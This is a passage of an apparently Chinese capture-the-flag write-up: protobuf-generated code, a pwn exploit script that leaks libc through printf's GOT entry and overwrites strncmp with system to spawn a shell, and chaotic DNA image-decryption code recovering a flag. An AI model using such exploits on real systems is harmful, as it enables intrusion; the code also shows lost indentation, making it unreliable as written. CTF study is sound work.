number=4, type=5, cpp_type=1, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=24,
serialized_end=90,
)
_NOTEBOOK = _descriptor.Descriptor(
name='Notebook',
full_name='tutorial.Notebook',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='note', full_name='tutorial.Notebook.note', index=0,
number=1, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=92,
serialized_end=132,
)
_NOTEBOOK.fields_by_name['note'].message_type = _NOTE
DESCRIPTOR.message_types_by_name['Note'] = _NOTE
DESCRIPTOR.message_types_by_name['Notebook'] = _NOTEBOOK
_sym_db.RegisterFileDescriptor(DESCRIPTOR)
Note = _reflection.GeneratedProtocolMessageType('Note', (_message.Message,), dict(
DESCRIPTOR = _NOTE,
__module__ = 'test_pb2'
# @@protoc_insertion_point(class_scope:tutorial.Note)
))
_sym_db.RegisterMessage(Note)
Notebook = _reflection.GeneratedProtocolMessageType('Notebook',
(_message.Message,), dict(
DESCRIPTOR = _NOTEBOOK,
__module__ = 'test_pb2'
# @@protoc_insertion_point(class_scope:tutorial.Notebook)
))
_sym_db.RegisterMessage(Notebook)
# @@protoc_insertion_point(module_scope)
exp.py
#!/usr/bin/env python3
from test_pb2 import *
from pwncli import *
cli_script()
set_remote_libc('libc.so.6')
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
note = Note()
note.name = "roderick"
note.addr = elf.got.printf
note.offset = 0
note.choice = 1
notebook = Notebook()
notebook.note.append(note)
data = notebook.SerializeToString()
sa("Hello Pls input: ", data)
sa("file size", str(len(data)))
lb = recv_current_libc_addr(offset=libc.sym.printf)
log_libc_base_addr(lb)
strncmp = 0x40E5B8
note = Note()
note.name = "roderick"
note.addr = strncmp
note.offset = 0
note.choice = 2
notebook = Notebook()
notebook.note.append(note)
data = notebook.SerializeToString()
sa("Hello Pls input: ", data)
sa("file size", str(len(data)))
s(p64(libc.sym.system + lb))
sa("Hello Pls input: ", "/bin/sh\x00")
ia()
crypto
Chaotic
参考这篇文章对图片进行解密 https://blog.csdn.net/qq_41137110/article/details/116191411
import cv2
import hashlib
import numpy as np
import matplotlib.pyplot as plt
'''
加密函数
img:原始图像路径
key:密钥列表,大小为 9(1、2 为 PWLCM 初始条件和参数;3、4、5、6 为 Chen 系统初
值,7、8、9 为 Lorenz 系统初值)
return:返回加密后的图像
'''
def encrypt(img,key):
#读取图片
#opencv 的颜色通道顺序为[B,G,R],而 matplotlib 颜色通道顺序为[R,G,B],所以需要调换
一下通道位置
im=cv2.imread(img)[:,:,(2,1,0)]
#获取图像宽高和通道数
[w,h,dim]=im.shape
#生成初始条件
a0=key[0]
p0=key[1]
u0=key[2]
v0=key[3]
w0=key[4]
x0=key[5]
y0=key[6]
z0=key[7]
q0=key[8]
#两次置乱操作
#图像扁平化为一维,flatten in row-major
pixels = im.flatten(order = 'C')
#第一次置乱
#PWLCM 迭代 3*w*h 次,得到迭代序列 ai
ai=[]
for i in range(3*w*h):
if 0<=a0<p0:
a0=a0/p0
elif a0<0.5:
a0=(a0-p0)*(0.5-p0)
else:
a0=1-a0
ai.append(a0)
#打包
dic=list(zip(ai,pixels))
#根据 ai 排序
dic.sort(key=lambda x:x[0])
#得到排序后的像素列表
pixels=list(list(zip(*dic))[1])
#分成 R、G、B 三个通道
R=pixels[:w*h]
G=pixels[w*h:2*w*h]
B=pixels[2*w*h:]
#第二次置乱
#Lorenz 生成三个序列 Y,Z,Q
t=100
f=10
r=28
g=8/3
#调用 Lorenz 模型函数
Y,Z,Q=Lorenz(y0,z0,q0,f,r,g,t+w*h)
#丢弃序列前 t 个值
Y=Y[t:]
Z=Z[t:]
Q=Q[t:]
#分别在 R、G、B 三个通道进行排序
Y_R=list(zip(Y,R))
#根据序列 Y 排序
Y_R.sort(key=lambda x:x[0])
#得到排序后的像素列表
R=list(list(zip(*Y_R))[1])
Z_G=list(zip(Z,G))
#根据序列 Z 排序
Z_G.sort(key=lambda x:x[0])
#得到排序后的像素列表
G=list(list(zip(*Z_G))[1])
Q_B=list(zip(Q,B))
#根据序列 Q 排序
Q_B.sort(key=lambda x:x[0])
#得到排序后的像素列表
B=list(list(zip(*Q_B))[1])
#得到重新排列后的 R、G、B 颜色分量
#DNA 编码
#Hyper Chaos Chen 系统控制参数
a=36
b=3
c=28
d=16
k=0.2
t=100
U,V,W,X=Chen(u0,v0,w0,x0,a,b,c,d,k,t+3*w*h)
U=U[t:]
V=V[t:]
W=W[t:]
X=X[t:]
for i in range(3*w*h):
rule='ACGT'
if(int(U%1/0.05) in [0,4,8,10,19]):
#采用编码规则 AGCT
rule='AGCT'
elif(int(U%1/0.05) in [1,6,12,14,17]):
#编码规则 ACGT
rule='ACGT'
elif(int(U%1/0.05) in [2,7,11,13,16]):
rule='GATC'
elif(int(U%1/0.05) in [3,5,9,15,18]):
rule='CATG'
if(i/(w*h)<1):
R=DNA_Encode(R,rule)
elif(i/(w*h)<2):
G[i-w*h]=DNA_Encode(G[i-w*h],rule)
else:
B[i-2*w*h]=DNA_Encode(B[i-2*w*h],rule)
start=[]
times=[]
for i in V:
start.append(int(i*pow(10,12))%8)
for i in W:
times.append(int(i*pow(10,12))%8)
startR=start[:w*h]
startG=start[w*h:2*w*h]
startB=start[2*w*h:]
timesR=times[:w*h]
timesG=times[w*h:2*w*h]
timesB=times[2*w*h:]
#八种 DNA 编码规则
rules=['ACGT','CATG','GTAC','TCGA','CTAG','AGCT','TGCA','GATC']
for i in range(w*h):
#起始规则位置
s=startR
for j in range(timesR):
R=DNA_XOR(R,rules)
s=(s+1)%8
for i in range(w*h):
#起始规则位置
s=startG
for j in range(timesG):
G=DNA_XOR(G,rules)
s=(s+1)%8
for i in range(w*h):
#起始规则位置
s=startB
for j in range(timesB):
B=DNA_XOR(B,rules)
s=(s+1)%8
#DNA 解码
for i in range(3*w*h):
rule='ACGT'
if(int(X%1/0.05) in [0,4,8,10,19]):
#采用解码规则 GTAC
rule='GTAC'
elif(int(X%1/0.05) in [1,6,12,14,17]):
#解码规则 TGCA
rule='TGCA'
elif(int(X%1/0.05) in [2,7,11,13,16]):
rule='CTAG'
elif(int(X%1/0.05) in [3,5,9,15,18]):
rule='TCGA'
if(i/(w*h)<1):
R=DNA_Decode(R,rule)
elif(i/(w*h)<2):
G[i-w*h]=DNA_Decode(G[i-w*h],rule)
else:
B[i-2*w*h]=DNA_Decode(B[i-2*w*h],rule)
#合并 R、G、B 三个通道得到加密彩色图像
encrypt_img=np.array((R+G+B)).reshape((512,512,3),order='C')
return encrypt_img
'''
功能:加密图像解密,加密过程的逆
参数:
输入加密图像路径和密钥参数
返回:
返回解密后的图像(ndarray)
'''
def decrypt(img,key):
#生成初始条件
a0=key[0]
p0=key[1]
u0=key[2]
v0=key[3]
w0=key[4]
x0=key[5]
y0=key[6]
z0=key[7]
q0=key[8]
#读取密文图像
# im=cv2.imread(img)[:,:,(2,1,0)]
im=cv2.imread(img)
#获取图像高宽和通道数
[h,w,dim]=im.shape
pixels = im.flatten(order = 'C')
#分成 R、G、B 三个通道
R=list(pixels[:w*h])
G=list(pixels[w*h:2*w*h])
B=list(pixels[2*w*h:])
#Hyper Chaos Chen 系统控制参数
a=36
b=3
c=28
d=16
k=0.2
t=100
U,V,W,X=Chen(u0,v0,w0,x0,a,b,c,d,k,t+3*w*h)
U=U[t:]
V=V[t:]
W=W[t:]
X=X[t:]
for i in range(3*w*h):
rule='ACGT'
if(int(X%1/0.05) in [0,4,8,10,19]):
#采用解码规则 GTAC 进行逆编码
rule='GTAC'
elif(int(X%1/0.05) in [1,6,12,14,17]):
#解码规则 TGCA
rule='TGCA'
elif(int(X%1/0.05) in [2,7,11,13,16]):
rule='CTAG'
elif(int(X%1/0.05) in [3,5,9,15,18]):
rule='TCGA'
if(i/(w*h)<1):
R=DNA_Encode(R,rule)
elif(i/(w*h)<2):
G[i-w*h]=DNA_Encode(G[i-w*h],rule)
else:
B[i-2*w*h]=DNA_Encode(B[i-2*w*h],rule)
#逆扩散
start=[]
times=[]
for i in V:
start.append(int(i*pow(10,12))%8)
for i in W:
times.append(int(i*pow(10,12))%8)
startR=start[:w*h]
startG=start[w*h:2*w*h]
startB=start[2*w*h:]
timesR=times[:w*h]
timesG=times[w*h:2*w*h]
timesB=times[2*w*h:]
#八种 DNA 编码规则
rules=['ACGT','CATG','GTAC','TCGA','CTAG','AGCT','TGCA','GATC']
for i in range(w*h):
#起始规则位置
s=(startR+timesR-1)%8
for j in range(timesR):
R=DNA_XOR(R,rules)
s=(s-1)%8
for i in range(w*h):
#起始规则位置
s=(startG+timesG-1)%8
for j in range(timesG):
G=DNA_XOR(G,rules)
s=(s-1)%8
for i in range(w*h):
#起始规则位置
s=(startB+timesB-1)%8
for j in range(timesB):
B=DNA_XOR(B,rules)
s=(s-1)%8
#逆编码
for i in range(3*w*h):
rule='ACGT'
if(int(U%1/0.05) in [0,4,8,10,19]):
#采用编码规则 AGCT
rule='AGCT'
elif(int(U%1/0.05) in [1,6,12,14,17]):
#编码规则 ACGT
rule='ACGT'
elif(int(U%1/0.05) in [2,7,11,13,16]):
rule='GATC'
elif(int(U%1/0.05) in [3,5,9,15,18]):
rule='CATG'
if(i/(w*h)<1):
R=DNA_Decode(R,rule)
elif(i/(w*h)<2):
G[i-w*h]=DNA_Decode(G[i-w*h],rule)
else:
B[i-2*w*h]=DNA_Decode(B[i-2*w*h],rule)
#逆第二次置乱
#Lorenz 生成三个序列 Y,Z,Q
t=100
f=10
r=28
g=8/3
#调用 Lorenz 模型函数
Y,Z,Q=Lorenz(y0,z0,q0,f,r,g,t+w*h)
#丢弃序列前 t 个值
Y=Y[t:]
Z=Z[t:]
Q=Q[t:]
#分别在 R、G、B 三个通道进行排序
seq=range(w*h)
Y_seq=list(zip(Y,seq))
#根据序列 Y 得到 R 通道真实的序列
Y_seq.sort(key=lambda x:x[0])
#得到真实序列,Y 元素为位置索引
Y=list(list(zip(*Y_seq))[1])
Z_seq=list(zip(Z,seq))
Z_seq.sort(key=lambda x:x[0])
Z=list(list(zip(*Z_seq))[1])
Q_seq=list(zip(Q,seq))
Q_seq.sort(key=lambda x:x[0])
Q=list(list(zip(*Q_seq))[1])
Y_R=list(zip(Y,R))
Y_R.sort(key=lambda x:x[0])
R=list(list(zip(*Y_R))[1])
Z_G=list(zip(Z,G))
Z_G.sort(key=lambda x:x[0])
G=list(list(zip(*Z_G))[1])
Q_B=list(zip(Q,B))
Q_B.sort(key=lambda x:x[0])
B=list(list(zip(*Q_B))[1])
pixels=R+G+B
#逆第一次置乱
#PWLCM 迭代 3*w*h 次,得到迭代序列 ai
ai=[]
for i in range(3*w*h):
if 0<=a0<p0:
a0=a0/p0
elif a0<0.5:
a0=(a0-p0)*(0.5-p0)
else:
a0=1-a0
ai.append(a0)
seq=range(3*w*h)
ai_seq=list(zip(ai,seq))
#根据序列 ai 得到真实的序列
ai_seq.sort(key=lambda x:x[0])
#得到真实序列,ai 元素为位置索引
ai=list(list(zip(*ai_seq))[1])
#打包
dic=list(zip(ai,pixels))
#根据 ai 排序
dic.sort(key=lambda x:x[0])
#得到排序后的像素列表
pixels=list(list(zip(*dic))[1])
decrypt_img=np.array(pixels).reshape((512,512,3),order='C')
return decrypt_img
'''
Lorenz 吸引子生成函数
参数为三个初始坐标,三个初始参数,迭代次数
返回三个一维 list
'''
def Lorenz(x0,y0,z0,p,q,r,T):
#微分迭代步长
h=0.01
x=[]
y=[]
z=[]
for t in range(T):
xt=x0+h*p*(y0-x0)
yt=y0+h*(q*x0-y0-x0*z0)
zt=z0+h*(x0*y0-r*z0)
#x0、y0、z0 统一更新
x0,y0,z0=xt,yt,zt
x.append(x0)
y.append(y0)
z.append(z0)
return x,y,z
'''
Chen 吸引子生成函数
参数为四个初始坐标,五个初始参数,迭代次数
返回四个一维数组(坐标)
'''
def Chen(u0,v0,w0,x0,a,b,c,d,k,T):
h=0.001
u=[]
v=[]
w=[]
x=[]
for t in range(T):
ut=u0+h*(a*(v0-u0))
vt=v0+h*(-u0*w0+d*u0+c*u0-x0)
wt=w0+h*(u0*v0-b*w0)
xt=u0+k
#u0、v0、w0,x0 统一更新
u0,v0,w0,x0=ut,vt,wt,xt
u.append(u0)
v.append(v0)
w.append(w0)
x.append(x0)
return u,v,w,x
#根据原始图像使用 SHA256 生成初始条件
def Generate_Key(img,key):
im=cv2.imread(img)[:,:,(2,1,0)]
#获取图像高宽和通道数
[h,w,dim]=im.shape
with open(img,'rb') as f:
bytes=f.read()
img_hash=hashlib.sha256(bytes).hexdigest()
m=[]
for i in range(8):
m.append(int(img_hash[i*7:i*7+7],16)/2**34)
d=int(img_hash[-8:],16)/2**38
ck=0
for i in range(len(key)):
ck+=key
#生成初始条件
for i in range(8):
key=(key+m+ck)%1
key[8]=(key[8]+d+ck)%1
return key
#将像素值按照规则 rule 编码成 DNA 碱基返回
def DNA_Encode(pixel,rule):
base=''
#将整数像素值转成 8bits 二进制
bits=bin(pixel)[2:].zfill(8)
for k in range(4):
b=bits[k*2:2*k+2]
if b=='00':
base+=rule[0]
elif b=='01':
base+=rule[1]
elif b=='10':
base+=rule[2]
else:
base+=rule[3]
return base
#将 4 个 DNA 碱基组成的字符串按 rule 解码成像素值返回
def DNA_Decode(base,rule):
pixel=''
for k in base:
if k==rule[0]:
pixel+='00'
elif k==rule[1]:
pixel+='01'
elif k==rule[2]:
pixel+='10'
else:
pixel+='11'
return int(pixel,2)
def DNA_XOR(base1,base2):
#转成整数进行异或
pixel=DNA_Decode(base1,'AGCT')^DNA_Decode(base2,'AGCT')
return DNA_Encode(pixel,'AGCT')
def main():
#原始图像路径
# img_path='./lena512color.tiff'
#加密密钥参数列表
key=[0.49226688, 0.28059747, 0.87321577, 0.63073925, 0.66753483, 0.49983341,
0.37095885, 0.12800098, 0.14163127, 0.23561871]
# new_key=Generate_Key(img_path,key)
# #原始图像
# img=cv2.imread(img_path)[:,:,(2,1,0)]
# #加密后的图像
# img_encrypt=encrypt(img_path,new_key)
# cv2.imwrite('./lena512color_encrypt.tiff',img_encrypt)
#正确密钥解密图像
# #错误密钥解密图像
# wrong_key=list(new_key)
# wrong_key[8]+=pow(10,-10)
# wrong_decrypt=decrypt(decrypt_path,wrong_key)
decrypt_path='C:\\Users\\snsd20070805\\Desktop\\encryptflag.tiff'
img_decrypt = decrypt(decrypt_path, key)
#结果展示
# plt.rcParams['font.sans-serif'] = ['SimHei'] # 中文乱码
# #子图 1,原始图像
# plt.subplot(221)
# #imshow()对图像进行处理,画出图像,show()进行图像显示
# plt.imshow(img)
# plt.title('原始图像')
# #不显示坐标轴
# plt.axis('off')
# #子图 2,加密后图像
# plt.subplot(222)
# plt.imshow(img_encrypt)
# plt.title('加密图像\nq0={}'.format(new_key[8]))
# plt.axis('off')
#
# #子图 3,错误密钥解密结果
# plt.subplot(223)
# plt.imshow(wrong_decrypt)
# plt.title('解密图像\nq0={}'.format(wrong_key[8]))
# plt.axis('off')
#子图 4,正确密钥解密结果
plt.subplot(224)
plt.imshow(img_decrypt)
plt.title('解密图像\nq0={}'.format(key[8]))
plt.axis('off')
# #设置子图默认的间距
plt.tight_layout()
#显示图像
plt.show()
if __name__ == '__main__':
main()
得到 flag,flag{5b9f5fa1951f2a97}
web
easysqli
easyupload
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|